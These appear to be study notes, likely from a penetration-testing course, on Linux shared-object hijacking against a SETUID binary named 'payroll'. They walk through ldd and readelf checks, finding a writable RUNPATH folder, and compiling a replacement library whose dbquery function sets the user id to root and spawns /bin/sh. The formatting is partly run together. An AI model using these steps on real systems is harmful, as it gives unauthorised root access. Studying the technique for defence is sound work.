Shared Object Hijacking
- Programs and binaries under development usually have custom libraries associated with them.
- Consider the following
SETUIDbinary:payroll
- find the shared objects/libraries required by the binary
ldd payroll- we see that one dependency is
non-standard
- inspect the dependency
readelf -d payroll | grep PATH
- check access to the folder the above dependency belongs to
- we have write access
- find the function name called by the binary
payrollldd payrollcp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so- overwrite another library to the development folder
./payroll- ./payroll: symbol lookup error: ./payroll: undefined symbol:
dbquery - now we know that
dbqueryfunction is missing
- ./payroll: symbol lookup error: ./payroll: undefined symbol:
- compile the below code
- The dbquery function sets our user id to 0 (root) and executing /bin/sh when called.
- Compile it using GCC.
gcc src.c -fPIC -shared -o /development/libshared.so
./payroll- get root